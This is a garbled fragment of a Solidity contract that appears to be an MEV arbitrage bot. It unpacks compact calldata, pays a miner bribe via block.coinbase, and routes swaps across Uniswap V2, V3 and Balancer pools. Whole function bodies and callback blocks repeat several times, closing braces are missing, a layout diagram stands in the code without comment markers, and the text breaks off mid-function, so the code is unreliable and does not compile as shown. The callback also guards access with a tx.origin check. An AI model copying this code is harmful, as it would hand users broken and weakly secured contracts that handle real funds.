bribe:= and(first32bytes,0xffffffffffffffffffffffffffffffff)
let second32bytes := calldataload(36)
pair1 := shr(96,second32bytes)
amount1:= and(shr(8,second32bytes),0xffffffffffffffffffffff)
type1:=and(second32bytes,0x0f)
zeroForOne:=and(second32bytes,0xf0)
third32bytes:=calldataload(68)
pair2:= shr(96,third32bytes )
}
if(bribe>0){
block.coinbase.transfer(uint256(bribe));
}
if (type1==0){
bytes memory datacb = new bytes(32);
V3Swap(pair1,address(this),zeroForOne,int256(amount1),datacb);
}
else if(type1==1){
bytes memory datacb = new bytes(32);
V3Swap(pair1,pair2,zeroForOne,int256(amount1),datacb);
}
else if(type1==2){
bytes memory datacb = new bytes(32);
V3Swap(pair1,address(this),zeroForOne,-int256(amount1),datacb);
}
else if(type1==3){
bytes memory datacb = new bytes(64);
assembly {
let fourth32bytes := calldataload(100)
mstore(add(datacb, 32), third32bytes)
mstore(add(datacb, 64), fourth32bytes)
}
V3Swap(pair1,address(this),zeroForOne,-int256(amount1),datacb);
}
else if(type1==4){
bytes memory datacb = new bytes(64);
assembly {
let fourth32bytes := calldataload(100)
mstore(add(datacb, 32), third32bytes)
mstore(add(datacb, 64), fourth32bytes)
}
V3Swap(pair1,pair2,zeroForOne,int256(amount1),datacb);
else if(type1==5){
uint amount2;
bool zeroForOne2;
uint amount3;
assembly{
third32bytes:=calldataload(68)
amount2:= and(shr(8,third32bytes),0xffffffffffffffffffffff)
zeroForOne2:=and(third32bytes,0xf0)
let fourth32bytes:=calldataload(100)
amount3:= and(shr(8,fourth32bytes),0xffffffffffffffffffffff)
}
wethTransfer(pair1,amount1);
if(zeroForOne){
V2Swap(pair1,0,amount2,pair2);
}
else{
V2Swap(pair1,amount2,0,pair2);
}
if(zeroForOne2){
V2Swap(pair2,0,amount3,address(this));
}
else{
V2Swap(pair2,amount3,0,address(this));
}
}
else if(type1==6){
uint amount2;
bool zeroForOne2;
address pair3;
uint amount3;
bool zeroForOne3;
uint amount4;
assembly{
third32bytes:=calldataload(68)
amount2:= and(shr(8,third32bytes),0xffffffffffffffffffffff)
zeroForOne2:=and(third32bytes,0xf0)
let fourth32bytes:=calldataload(100)
pair3 := shr(96,fourth32bytes)
amount3:= and(shr(8,fourth32bytes),0xffffffffffffffffffffff)
zeroForOne3:=and(fourth32bytes,0xf0)
let fifth32bytes:=calldataload(132)
amount4:= and(shr(8,fifth32bytes),0xffffffffffffffffffffff)
}
wethTransfer(pair1,amount1);
if(zeroForOne){
V2Swap(pair1,0,amount2,pair2);
}
else{
V2Swap(pair1,amount2,0,pair2);
}
if(zeroForOne2){
V2Swap(pair2,0,amount3,pair3);
}
else{
V2Swap(pair2,amount3,0,pair3);
}
if(zeroForOne3){
V2Swap(pair3,0,amount4,address(this));
}
else{
V2Swap(pair3,amount4,0,address(this));
}
}
else if(type1==7){
uint amount2;
uint8 type2;
bool needap;
address tokenIn;
address tokenOut;
assembly{
third32bytes:=calldataload(68)
amount2:= and(shr(8,third32bytes),0xffffffffffffffffffffff)
needap:=and(third32bytes,0xf0)
type2:=and(third32bytes,0x0f)
let fourth32bytes:=calldataload(100)
tokenIn:= shr(96,fourth32bytes)
let fifth32bytes:=calldataload(132)
tokenOut:= shr(96,fifth32bytes)
}
if(type2==0){
uint amount3;
assembly{
let fourth32bytes:=calldataload(100)
amount3:= and(shr(8,fourth32bytes),0xffffffffffffffffffffff)
}
wethTransfer(pair1,amount1);
if(zeroForOne){
V2Swap(pair1,0,amount2,address(this));
}
else{
V2Swap(pair1,amount2,0,address(this));
}
uint out =BalSwap(pair2,tokenIn,tokenOut,amount2,needap);
else if(type2==1){
uint out = BalSwap(pair2,tokenIn,tokenOut,amount2,needap);
erc20Transfer(tokenOut,pair1,out);
if(zeroForOne){
V2Swap(pair1,0,amount1,address(this));
}
else{
V2Swap(pair1,amount1,0,address(this));
}
}
}
else if (type1==8){
bytes memory datacb = new bytes(96);
assembly {
let fourth32bytes := calldataload(100)
let fifth32bytes:=calldataload(132)
mstore(add(datacb, 32), third32bytes)
mstore(add(datacb, 64), fourth32bytes)
mstore(add(datacb, 96), fifth32bytes)
}
V3Swap(pair1,address(this),zeroForOne,-int256(amount1),datacb);
}
}
function test2001551086() public payable onlyOwner {
4 bytes selector
|-------------------- 16byte blockNum -----------------|-------------- 16byte bribe ----------------|
|--------------20 pair1 address --------------|-----11 bytes amount1 ---|4bit zeroForOne 4bit type1-|
|--------------20 pair2 address --------------|-----11 bytes amount2 ---|4bit zeroForOne2 4bit type2-|
address pair1;
uint128 inblockNum;
uint128 bribe;
uint amount1;
uint8 type1;
bool zeroForOne;
address pair2;
uint256 third32bytes;
assembly {
let first32bytes := calldataload(4)
inblockNum:=shr(128,first32bytes)
bribe:= and(first32bytes,0xffffffffffffffffffffffffffffffff)
let second32bytes := calldataload(36)
pair1 := shr(96,second32bytes)
amount1:= and(shr(8,second32bytes),0xffffffffffffffffffffff)
type1:=and(second32bytes,0x0f)
zeroForOne:=and(second32bytes,0xf0)
third32bytes:=calldataload(68)
pair2:= shr(96,third32bytes )
}
if(bribe>0){
block.coinbase.transfer(uint256(bribe));
}
if (type1==0){
bytes memory datacb = new bytes(32);
V3Swap(pair1,address(this),zeroForOne,int256(amount1),datacb);
}
else if(type1==1){
bytes memory datacb = new bytes(32);
V3Swap(pair1,pair2,zeroForOne,int256(amount1),datacb);
}
else if(type1==2){
bytes memory datacb = new bytes(32);
V3Swap(pair1,address(this),zeroForOne,-int256(amount1),datacb);
}
else if(type1==3){
bytes memory datacb = new bytes(64);
assembly {
let fourth32bytes := calldataload(100)
mstore(add(datacb, 32), third32bytes)
mstore(add(datacb, 64), fourth32bytes)
}
V3Swap(pair1,address(this),zeroForOne,-int256(amount1),datacb);
}
else if(type1==4){
bytes memory datacb = new bytes(64);
assembly {
let fourth32bytes := calldataload(100)
mstore(add(datacb, 32), third32bytes)
mstore(add(datacb, 64), fourth32bytes)
}
V3Swap(pair1,pair2,zeroForOne,int256(amount1),datacb);
else if(type1==5){
uint amount2;
bool zeroForOne2;
uint amount3;
assembly{
third32bytes:=calldataload(68)
amount2:= and(shr(8,third32bytes),0xffffffffffffffffffffff)
zeroForOne2:=and(third32bytes,0xf0)
let fourth32bytes:=calldataload(100)
amount3:= and(shr(8,fourth32bytes),0xffffffffffffffffffffff)
}
wethTransfer(pair1,amount1);
if(zeroForOne){
V2Swap(pair1,0,amount2,pair2);
}
else{
V2Swap(pair1,amount2,0,pair2);
}
if(zeroForOne2){
V2Swap(pair2,0,amount3,address(this));
}
else{
V2Swap(pair2,amount3,0,address(this));
}
}
else if(type1==6){
uint amount2;
bool zeroForOne2;
address pair3;
uint amount3;
bool zeroForOne3;
uint amount4;
assembly{
third32bytes:=calldataload(68)
amount2:= and(shr(8,third32bytes),0xffffffffffffffffffffff)
zeroForOne2:=and(third32bytes,0xf0)
let fourth32bytes:=calldataload(100)
pair3 := shr(96,fourth32bytes)
amount3:= and(shr(8,fourth32bytes),0xffffffffffffffffffffff)
zeroForOne3:=and(fourth32bytes,0xf0)
let fifth32bytes:=calldataload(132)
amount4:= and(shr(8,fifth32bytes),0xffffffffffffffffffffff)
}
wethTransfer(pair1,amount1);
if(zeroForOne){
V2Swap(pair1,0,amount2,pair2);
}
else{
V2Swap(pair1,amount2,0,pair2);
}
if(zeroForOne2){
V2Swap(pair2,0,amount3,pair3);
}
else{
V2Swap(pair2,amount3,0,pair3);
}
if(zeroForOne3){
V2Swap(pair3,0,amount4,address(this));
}
else{
V2Swap(pair3,amount4,0,address(this));
}
}
else if(type1==7){
uint amount2;
uint8 type2;
bool needap;
address tokenIn;
address tokenOut;
assembly{
third32bytes:=calldataload(68)
amount2:= and(shr(8,third32bytes),0xffffffffffffffffffffff)
needap:=and(third32bytes,0xf0)
type2:=and(third32bytes,0x0f)
let fourth32bytes:=calldataload(100)
tokenIn:= shr(96,fourth32bytes)
let fifth32bytes:=calldataload(132)
tokenOut:= shr(96,fifth32bytes)
}
if(type2==0){
uint amount3;
assembly{
let fourth32bytes:=calldataload(100)
amount3:= and(shr(8,fourth32bytes),0xffffffffffffffffffffff)
}
wethTransfer(pair1,amount1);
if(zeroForOne){
V2Swap(pair1,0,amount2,address(this));
}
else{
V2Swap(pair1,amount2,0,address(this));
}
uint out =BalSwap(pair2,tokenIn,tokenOut,amount2,needap);
else if(type2==1){
uint out = BalSwap(pair2,tokenIn,tokenOut,amount2,needap);
erc20Transfer(tokenOut,pair1,out);
if(zeroForOne){
V2Swap(pair1,0,amount1,address(this));
}
else{
V2Swap(pair1,amount1,0,address(this));
}
}
}
else if (type1==8){
bytes memory datacb = new bytes(96);
assembly {
let fourth32bytes := calldataload(100)
let fifth32bytes:=calldataload(132)
mstore(add(datacb, 32), third32bytes)
mstore(add(datacb, 64), fourth32bytes)
mstore(add(datacb, 96), fifth32bytes)
}
V3Swap(pair1,address(this),zeroForOne,-int256(amount1),datacb);
}
}
function test2001551086() public payable onlyOwner {
4 bytes selector
|-------------------- 16byte blockNum -----------------|-------------- 16byte bribe ----------------|
|--------------20 pair1 address --------------|-----11 bytes amount1 ---|4bit zeroForOne 4bit type1-|
|--------------20 pair2 address --------------|-----11 bytes amount2 ---|4bit zeroForOne2 4bit type2-|
address pair1;
uint128 inblockNum;
uint128 bribe;
uint amount1;
uint8 type1;
bool zeroForOne;
address pair2;
uint256 third32bytes;
assembly {
let first32bytes := calldataload(4)
inblockNum:=shr(128,first32bytes)
bribe:= and(first32bytes,0xffffffffffffffffffffffffffffffff)
let second32bytes := calldataload(36)
pair1 := shr(96,second32bytes)
amount1:= and(shr(8,second32bytes),0xffffffffffffffffffffff)
type1:=and(second32bytes,0x0f)
zeroForOne:=and(second32bytes,0xf0)
third32bytes:=calldataload(68)
pair2:= shr(96,third32bytes )
}
if(bribe>0){
block.coinbase.transfer(uint256(bribe));
}
if (type1==0){
bytes memory datacb = new bytes(32);
V3Swap(pair1,address(this),zeroForOne,int256(amount1),datacb);
}
else if(type1==1){
bytes memory datacb = new bytes(32);
V3Swap(pair1,pair2,zeroForOne,int256(amount1),datacb);
}
else if(type1==2){
bytes memory datacb = new bytes(32);
V3Swap(pair1,address(this),zeroForOne,-int256(amount1),datacb);
}
else if(type1==3){
bytes memory datacb = new bytes(64);
assembly {
let fourth32bytes := calldataload(100)
mstore(add(datacb, 32), third32bytes)
mstore(add(datacb, 64), fourth32bytes)
}
V3Swap(pair1,address(this),zeroForOne,-int256(amount1),datacb);
}
else if(type1==4){
bytes memory datacb = new bytes(64);
assembly {
let fourth32bytes := calldataload(100)
mstore(add(datacb, 32), third32bytes)
mstore(add(datacb, 64), fourth32bytes)
}
V3Swap(pair1,pair2,zeroForOne,int256(amount1),datacb);
else if(type1==5){
uint amount2;
bool zeroForOne2;
uint amount3;
assembly{
third32bytes:=calldataload(68)
amount2:= and(shr(8,third32bytes),0xffffffffffffffffffffff)
zeroForOne2:=and(third32bytes,0xf0)
let fourth32bytes:=calldataload(100)
amount3:= and(shr(8,fourth32bytes),0xffffffffffffffffffffff)
}
wethTransfer(pair1,amount1);
if(zeroForOne){
V2Swap(pair1,0,amount2,pair2);
}
else{
V2Swap(pair1,amount2,0,pair2);
}
if(zeroForOne2){
V2Swap(pair2,0,amount3,address(this));
}
else{
V2Swap(pair2,amount3,0,address(this));
}
}
else if(type1==6){
uint amount2;
bool zeroForOne2;
address pair3;
uint amount3;
bool zeroForOne3;
uint amount4;
assembly{
third32bytes:=calldataload(68)
amount2:= and(shr(8,third32bytes),0xffffffffffffffffffffff)
zeroForOne2:=and(third32bytes,0xf0)
let fourth32bytes:=calldataload(100)
pair3 := shr(96,fourth32bytes)
amount3:= and(shr(8,fourth32bytes),0xffffffffffffffffffffff)
zeroForOne3:=and(fourth32bytes,0xf0)
let fifth32bytes:=calldataload(132)
amount4:= and(shr(8,fifth32bytes),0xffffffffffffffffffffff)
}
wethTransfer(pair1,amount1);
if(zeroForOne){
V2Swap(pair1,0,amount2,pair2);
}
else{
V2Swap(pair1,amount2,0,pair2);
}
if(zeroForOne2){
V2Swap(pair2,0,amount3,pair3);
}
else{
V2Swap(pair2,amount3,0,pair3);
}
if(zeroForOne3){
V2Swap(pair3,0,amount4,address(this));
}
else{
V2Swap(pair3,amount4,0,address(this));
}
}
else if(type1==7){
uint amount2;
uint8 type2;
bool needap;
address tokenIn;
address tokenOut;
assembly{
third32bytes:=calldataload(68)
amount2:= and(shr(8,third32bytes),0xffffffffffffffffffffff)
needap:=and(third32bytes,0xf0)
type2:=and(third32bytes,0x0f)
let fourth32bytes:=calldataload(100)
tokenIn:= shr(96,fourth32bytes)
let fifth32bytes:=calldataload(132)
tokenOut:= shr(96,fifth32bytes)
}
if(type2==0){
uint amount3;
assembly{
let fourth32bytes:=calldataload(100)
amount3:= and(shr(8,fourth32bytes),0xffffffffffffffffffffff)
}
wethTransfer(pair1,amount1);
if(zeroForOne){
V2Swap(pair1,0,amount2,address(this));
}
else{
V2Swap(pair1,amount2,0,address(this));
}
uint out =BalSwap(pair2,tokenIn,tokenOut,amount2,needap);
else if(type2==1){
uint out = BalSwap(pair2,tokenIn,tokenOut,amount2,needap);
erc20Transfer(tokenOut,pair1,out);
if(zeroForOne){
V2Swap(pair1,0,amount1,address(this));
}
else{
V2Swap(pair1,amount1,0,address(this));
}
}
}
else if (type1==8){
bytes memory datacb = new bytes(96);
assembly {
let fourth32bytes := calldataload(100)
let fifth32bytes:=calldataload(132)
mstore(add(datacb, 32), third32bytes)
mstore(add(datacb, 64), fourth32bytes)
mstore(add(datacb, 96), fifth32bytes)
}
V3Swap(pair1,address(this),zeroForOne,-int256(amount1),datacb);
}
}
function uniswapV3SwapCallback(
int256 amount0Delta,
int256 amount1Delta,
bytes calldata _data
) external override {
if( tx.origin != owner)
{
revert("");
}
assembly {
let calldata32bytes := calldataload(132)
pair2 := shr(96,calldata32bytes)
amount2:= and(shr(8,calldata32bytes),0xffffffffffffffffffffff)
type2:=and(calldata32bytes,0x0f)
zeroForOne2:=and(calldata32bytes,0xf0)
}
if(type2==0){
if (zeroForOne2){
wethTransfer(pair2,uint256(-amount0Delta)-amount2);
V2Swap(pair2,0,uint(amount1Delta),msg.sender);
}
else{
wethTransfer(pair2,uint256(-amount1Delta)-amount2);
V2Swap(pair2,uint(amount0Delta),0,msg.sender);
}
}
else if(type2==1) {
if (zeroForOne2){
V2Swap(pair2,0,uint(amount1Delta)+amount2,address(this));
wethTransfer(msg.sender,uint(amount1Delta));
}
else{
V2Swap(pair2,uint(amount0Delta)+amount2,0,address(this));
wethTransfer(msg.sender,uint(amount0Delta));
}
}
else if(type2==2) {
bytes memory data = new bytes(32);
assembly{
let calldata32bytes := calldataload(132)
mstore(add(data, 32), add(shl(4,shr(4,calldata32bytes)),0x03))
}
int v3In;
if(amount0Delta>0){
v3In=-amount0Delta;
}
else{
v3In=-amount1Delta;
}
V3Swap(pair2,msg.sender,zeroForOne2,v3In,data);
}
else if(type2==3) {
wethTransfer(msg.sender,amount2);
}
else if(type2==4) {
assembly {
let calldata32bytes := calldataload(164)
pair3 := shr(96,calldata32bytes)
amount3:= and(shr(8,calldata32bytes),0xffffffffffffffffffffff)
zeroForOne3:=and(calldata32bytes,0xf0)
}
uint v3In;
if(amount0Delta>0){
v3In=uint(amount0Delta);
}
else{
v3In=uint(amount1Delta);
}
wethTransfer(pair2,amount2);
if(zeroForOne2){
V2Swap(pair2,0,amount3,pair3);
}
else{
V2Swap(pair2,amount3,0,pair3);
}
if(zeroForOne3){
V2Swap(pair3,0,v3In,msg.sender);
}
else{
V2Swap(pair3,v3In,0,msg.sender);
}
}
else if(type2==5) {
bytes memory data = new bytes(64);
assembly {
let third32bytes := calldataload(132)
let fourth32bytes := calldataload(164)
mstore(add(data, 32), add(shl(4,shr(4,third32bytes)),0x06))
mstore(add(data, 64), fourth32bytes)
}
if(amount0Delta>0){
V3Swap(pair2,msg.sender,zeroForOne2,-int256(amount0Delta),data);
}
else{
V3Swap(pair2,msg.sender,zeroForOne2,-int256(amount1Delta),data);
}
}
else if(type2==6) {
assembly {
let calldata32bytes := calldataload(164)
pair3 := shr(96,calldata32bytes)
amount3:= and(shr(8,calldata32bytes),0xffffffffffffffffffffff)
zeroForOne3:=and(calldata32bytes,0xf0)
}
wethTransfer(pair3,amount3);
uint v3In;
if(amount0Delta>0){
v3In=uint(amount0Delta);
}
else{
v3In=uint(amount1Delta);
}
if(zeroForOne3){
V2Swap(pair3,0,v3In,msg.sender);
}
else{
V2Swap(pair3,v3In,0,msg.sender);
}
}
else if(type2==7) {
bytes memory data = new bytes(32);
assembly {
let third32bytes := calldataload(132)
mstore(add(data, 32), add(shl(4,shr(4,third32bytes)),0x03))
let fourth32bytes := calldataload(164)
pair3 := shr(96,fourth32bytes)
zeroForOne3:=and(fourth32bytes,0xf0)
}
V3Swap(pair2,pair3,zeroForOne2,int256(amount2),data);
uint v3In;
if(amount0Delta>0){
v3In=uint(amount0Delta);
}
else{
v3In=uint(amount1Delta);
}
if(zeroForOne3){
V2Swap(pair3,0,v3In,msg.sender);
}
else{
V2Swap(pair3,v3In,0,msg.sender);
}
}
else if(type2==8) {
bytes memory data = new bytes(32);
assembly {
let third32bytes := calldataload(132)
let fourth32bytes := calldataload(164)
mstore(add(data, 32), add(shl(4,shr(4,fourth32bytes)),0x03))
pair3 := shr(96,fourth32bytes)
zeroForOne3:=and(fourth32bytes,0xf0)
}
if(zeroForOne2){
V2Swap(pair2,0,amount2,address(this));
}
else{
V2Swap(pair2,amount2,0,address(this));
}
if(amount0Delta>0){
V3Swap(pair3,msg.sender,zeroForOne3,-amount0Delta,data);
}
else{
V3Swap(pair3,msg.sender,zeroForOne3,-amount1Delta,data);
}
}
else if(type2==9) {
assembly {
let third32bytes := calldataload(132)
let fourth32bytes := calldataload(164)
amount3:= and(shr(8,fourth32bytes),0xffffffffffffffffffffff)
pair3 := shr(96,fourth32bytes)
zeroForOne3:=and(fourth32bytes,0xf0)
}
if(zeroForOne2){
V2Swap(pair2,0,amount2,address(this));
}
else{
V2Swap(pair2,amount2,0,address(this));
}
wethTransfer(pair3,amount3);
uint v3In;
if(amount0Delta>0){
v3In=uint(amount0Delta);
}
else{
v3In=uint(amount1Delta);
}
if(zeroForOne3){
V2Swap(pair3,0,v3In,msg.sender);
}
else{
V2Swap(pair3,v3In,0,msg.sender);
}
}
else if(type2==10) {
assembly {
let fourth32bytes := calldataload(164)
amount3:= and(shr(8,fourth32bytes),0xffffffffffffffffffffff)
pair3 := shr(96,fourth32bytes)
zeroForOne3:=and(fourth32bytes,0xf0)
}
if(zeroForOne2){
V2Swap(pair2,0,amount2,pair3);
}
else{
V2Swap(pair2,amount2,0,pair3);
}
if(zeroForOne3){
V2Swap(pair3,0,amount3,address(this));
}
else{
V2Swap(pair3,amount3,0,address(this));
}
uint v3In;
if(amount0Delta>0){
v3In=uint(amount0Delta);
}
else{
v3In=uint(amount1Delta);
}
wethTransfer(msg.sender,v3In);
}
else if(type2==11) {
bytes memory data = new bytes(32);
assembly {
let fourth32bytes := calldataload(164)
mstore(add(data, 32), add(shl(4,shr(4,fourth32bytes)),0x02))
}
int v3In;
if(amount0Delta>0){
v3In=-amount0Delta;
}
else{
v3In=-amount1Delta;
}
V3Swap(pair2,msg.sender,zeroForOne2,v3In,data);
}
else if(type2==12) {
address tokenIn;
address tokenOut;
uint8 type3;
assembly {
let fourth32bytes := calldataload(164)
let fifth32bytes := calldataload(196)
tokenIn:=shr(96,fourth32bytes)
tokenOut:=shr(96,fifth32bytes)
type3:=and(fourth32bytes,0x0f)
}
if(type3==0){
uint balIn;
if(amount0Delta>0){
balIn=uint(-amount1Delta);
}
else{
balIn=uint(-amount0Delta);
}
uint out =BalSwap(pair2,tokenIn,tokenOut,balIn,zeroForOne2);
wethTransfer(msg.sender,out-amount2);
}
else if(type3==1){
uint v3Out;
if(amount0Delta>0){
v3Out=uint(-amount1Delta);
}
else{
v3Out=uint(-amount0Delta);
}
uint out=BalSwap(pair2,tokenIn,tokenOut,amount2,zeroForOne2);
erc20Transfer(tokenOut,msg.sender,out);
}
else{
revert("");
}
}
else{
revert("");
}
}
function uniswapV3SwapCallback(
int256 amount0Delta,
int256 amount1Delta,
bytes calldata _data
) external override {
if( tx.origin != owner)
{
revert("");
}
assembly {
let calldata32bytes := calldataload(132)
pair2 := shr(96,calldata32bytes)
amount2:= and(shr(8,calldata32bytes),0xffffffffffffffffffffff)
type2:=and(calldata32bytes,0x0f)
zeroForOne2:=and(calldata32bytes,0xf0)
}
if(type2==0){
if (zeroForOne2){
wethTransfer(pair2,uint256(-amount0Delta)-amount2);
V2Swap(pair2,0,uint(amount1Delta),msg.sender);
}
else{
wethTransfer(pair2,uint256(-amount1Delta)-amount2);
V2Swap(pair2,uint(amount0Delta),0,msg.sender);
}
}
else if(type2==1) {
if (zeroForOne2){
V2Swap(pair2,0,uint(amount1Delta)+amount2,address(this));
wethTransfer(msg.sender,uint(amount1Delta));
}
else{
V2Swap(pair2,uint(amount0Delta)+amount2,0,address(this));
wethTransfer(msg.sender,uint(amount0Delta));
}
}
else if(type2==2) {
bytes memory data = new bytes(32);
assembly{
let calldata32bytes := calldataload(132)
mstore(add(data, 32), add(shl(4,shr(4,calldata32bytes)),0x03))
}
int v3In;
if(amount0Delta>0){
v3In=-amount0Delta;
}
else{
v3In=-amount1Delta;
}
V3Swap(pair2,msg.sender,zeroForOne2,v3In,data);
}
else if(type2==3) {
wethTransfer(msg.sender,amount2);
}
else if(type2==4) {
assembly {
let calldata32bytes := calldataload(164)
pair3 := shr(96,calldata32bytes)
amount3:= and(shr(8,calldata32bytes),0xffffffffffffffffffffff)
zeroForOne3:=and(calldata32bytes,0xf0)
}
uint v3In;
if(amount0Delta>0){
v3In=uint(amount0Delta);
}
else{
v3In=uint(amount1Delta);
}
wethTransfer(pair2,amount2);
if(zeroForOne2){
V2Swap(pair2,0,amount3,pair3);
}
else{
V2Swap(pair2,amount3,0,pair3);
}
if(zeroForOne3){
V2Swap(pair3,0,v3In,msg.sender);
}
else{
V2Swap(pair3,v3In,0,msg.sender);
}
}
else if(type2==5) {
bytes memory data = new bytes(64);
assembly {
let third32bytes := calldataload(132)
let fourth32bytes := calldataload(164)
mstore(add(data, 32), add(shl(4,shr(4,third32bytes)),0x06))
mstore(add(data, 64), fourth32bytes)
}
if(amount0Delta>0){
V3Swap(pair2,msg.sender,zeroForOne2,-int256(amount0Delta),data);
}
else{
V3Swap(pair2,msg.sender,zeroForOne2,-int256(amount1Delta),data);
}
}
else if(type2==6) {
assembly {
let calldata32bytes := calldataload(164)
pair3 := shr(96,calldata32bytes)
amount3:= and(shr(8,calldata32bytes),0xffffffffffffffffffffff)
zeroForOne3:=and(calldata32bytes,0xf0)
}
wethTransfer(pair3,amount3);
uint v3In;
if(amount0Delta>0){
v3In=uint(amount0Delta);
}
else{
v3In=uint(amount1Delta);
}
if(zeroForOne3){
V2Swap(pair3,0,v3In,msg.sender);
}
else{
V2Swap(pair3,v3In,0,msg.sender);
}
}
else if(type2==7) {
bytes memory data = new bytes(32);
assembly {
let third32bytes := calldataload(132)
mstore(add(data, 32), add(shl(4,shr(4,third32bytes)),0x03))
let fourth32bytes := calldataload(164)
pair3 := shr(96,fourth32bytes)
zeroForOne3:=and(fourth32bytes,0xf0)
}
V3Swap(pair2,pair3,zeroForOne2,int256(amount2),data);
uint v3In;
if(amount0Delta>0){
v3In=uint(amount0Delta);
}
else{
v3In=uint(amount1Delta);
}
if(zeroForOne3){
V2Swap(pair3,0,v3In,msg.sender);
}
else{
V2Swap(pair3,v3In,0,msg.sender);
}
}
else if(type2==8) {
bytes memory data = new bytes(32);
assembly {
let third32bytes := calldataload(132)
let fourth32bytes := calldataload(164)
mstore(add(data, 32), add(shl(4,shr(4,fourth32bytes)),0x03))
pair3 := shr(96,fourth32bytes)
zeroForOne3:=and(fourth32bytes,0xf0)
}
if(zeroForOne2){
V2Swap(pair2,0,amount2,address(this));
}
else{
V2Swap(pair2,amount2,0,address(this));
}
if(amount0Delta>0){
V3Swap(pair3,msg.sender,zeroForOne3,-amount0Delta,data);
}
else{
V3Swap(pair3,msg.sender,zeroForOne3,-amount1Delta,data);
}
}
else if(type2==9) {
assembly {
let third32bytes := calldataload(132)
let fourth32bytes := calldataload(164)
amount3:= and(shr(8,fourth32bytes),0xffffffffffffffffffffff)
pair3 := shr(96,fourth32bytes)
zeroForOne3:=and(fourth32bytes,0xf0)
}
if(zeroForOne2){
V2Swap(pair2,0,amount2,address(this));
}
else{
V2Swap(pair2,amount2,0,address(this));
}
wethTransfer(pair3,amount3);
uint v3In;
if(amount0Delta>0){
v3In=uint(amount0Delta);
}
else{
v3In=uint(amount1Delta);
}
if(zeroForOne3){
V2Swap(pair3,0,v3In,msg.sender);
}
else{
V2Swap(pair3,v3In,0,msg.sender);
}
}
else if(type2==10) {
assembly {
let fourth32bytes := calldataload(164)
amount3:= and(shr(8,fourth32bytes),0xffffffffffffffffffffff)
pair3 := shr(96,fourth32bytes)
zeroForOne3:=and(fourth32bytes,0xf0)
}
if(zeroForOne2){
V2Swap(pair2,0,amount2,pair3);
}
else{
V2Swap(pair2,amount2,0,pair3);
}
if(zeroForOne3){
V2Swap(pair3,0,amount3,address(this));
}
else{
V2Swap(pair3,amount3,0,address(this));
}
uint v3In;
if(amount0Delta>0){
v3In=uint(amount0Delta);
}
else{
v3In=uint(amount1Delta);
}
wethTransfer(msg.sender,v3In);
}
else if(type2==11) {
bytes memory data = new bytes(32);
assembly {
let fourth32bytes := calldataload(164)
mstore(add(data, 32), add(shl(4,shr(4,fourth32bytes)),0x02))
}
int v3In;
if(amount0Delta>0){
v3In=-amount0Delta;
}
else{
v3In=-amount1Delta;
}
V3Swap(pair2,msg.sender,zeroForOne2,v3In,data);
}
else if(type2==12) {
address tokenIn;
address tokenOut;
uint8 type3;
assembly {
let fourth32bytes := calldataload(164)
let fifth32bytes := calldataload(196)
tokenIn:=shr(96,fourth32bytes)
tokenOut:=shr(96,fifth32bytes)
type3:=and(fourth32bytes,0x0f)
}
if(type3==0){
uint balIn;
if(amount0Delta>0){
balIn=uint(-amount1Delta);
}
else{
balIn=uint(-amount0Delta);
}
uint out =BalSwap(pair2,tokenIn,tokenOut,balIn,zeroForOne2);
wethTransfer(msg.sender,out-amount2);
}
else if(type3==1){
uint v3Out;
if(amount0Delta>0){
v3Out=uint(-amount1Delta);
}
else{
v3Out=uint(-amount0Delta);
}
uint out=BalSwap(pair2,tokenIn,tokenOut,amount2,zeroForOne2);
erc20Transfer(tokenOut,msg.sender,out);
}
else{
revert("");
}
}
else{
revert("");
}
}
function uniswapV3SwapCallback(
int256 amount0Delta,
int256 amount1Delta,
bytes calldata _data
) external override {
if( tx.origin != owner)
{
revert("");
}
assembly {
let calldata32bytes := calldataload(132)
pair2 := shr(96,calldata32bytes)
amount2:= and(shr(8,calldata32bytes),0xffffffffffffffffffffff)
type2:=and(calldata32bytes,0x0f)
zeroForOne2:=and(calldata32bytes,0xf0)
}
if(type2==0){
if (zeroForOne2){
wethTransfer(pair2,uint256(-amount0Delta)-amount2);
V2Swap(pair2,0,uint(amount1Delta),msg.sender);
}
else{
wethTransfer(pair2,uint256(-amount1Delta)-amount2);
V2Swap(pair2,uint(amount0Delta),0,msg.sender);
}
}
else if(type2==1) {
if (zeroForOne2){
V2Swap(pair2,0,uint(amount1Delta)+amount2,address(this));
wethTransfer(msg.sender,uint(amount1Delta));
}
else{
V2Swap(pair2,uint(amount0Delta)+amount2,0,address(this));
wethTransfer(msg.sender,uint(amount0Delta));
}
}
else if(type2==2) {
bytes memory data = new bytes(32);
assembly{
let calldata32bytes := calldataload(132)
mstore(add(data, 32), add(shl(4,shr(4,calldata32bytes)),0x03))
}
int v3In;
if(amount0Delta>0){
v3In=-amount0Delta;
}
else{
v3In=-amount1Delta;
}
V3Swap(pair2,msg.sender,zeroForOne2,v3In,data);
}
else if(type2==3) {
wethTransfer(msg.sender,amount2);
}
else if(type2==4) {
assembly {
let calldata32bytes := calldataload(164)
pair3 := shr(96,calldata32bytes)
amount3:= and(shr(8,calldata32bytes),0xffffffffffffffffffffff)
zeroForOne3:=and(calldata32bytes,0xf0)
}
uint v3In;
if(amount0Delta>0){
v3In=uint(amount0Delta);
}
else{
v3In=uint(amount1Delta);
}
wethTransfer(pair2,amount2);
if(zeroForOne2){
V2Swap(pair2,0,amount3,pair3);
}
else{
V2Swap(pair2,amount3,0,pair3);
}
if(zeroForOne3){
V2Swap(pair3,0,v3In,msg.sender);
}
else{
V2Swap(pair3,v3In,0,msg.sender);
}
}
else if(type2==5) {
bytes memory data = new bytes(64);
assembly {
let third32bytes := calldataload(132)
let fourth32bytes := calldataload(164)
mstore(add(data, 32), add(shl(4,shr(4,third32bytes)),0x06))
mstore(add(data, 64), fourth32bytes)
}
if(amount0Delta>0){
V3Swap(pair2,msg.sender,zeroForOne2,-int256(amount0Delta),data);
}
else{
V3Swap(pair2,msg.sender,zeroForOne2,-int256(amount1Delta),data);
}
}
else if(type2==6) {
assembly {
let calldata32bytes := calldataload(164)
pair3 := shr(96,calldata32bytes)
amount3:= and(shr(8,calldata32bytes),0xffffffffffffffffffffff)
zeroForOne3:=and(calldata32bytes,0xf0)
}
wethTransfer(pair3,amount3);
uint v3In;
if(amount0Delta>0){
v3In=uint(amount0Delta);
}
else{
v3In=uint(amount1Delta);
}
if(zeroForOne3){
V2Swap(pair3,0,v3In,msg.sender);
}
else{
V2Swap(pair3,v3In,0,msg.sender);
}
}
else if(type2==7) {
bytes memory data = new bytes(32);
assembly {
let third32bytes := calldataload(132)
mstore(add(data, 32), add(shl(4,shr(4,third32bytes)),0x03))
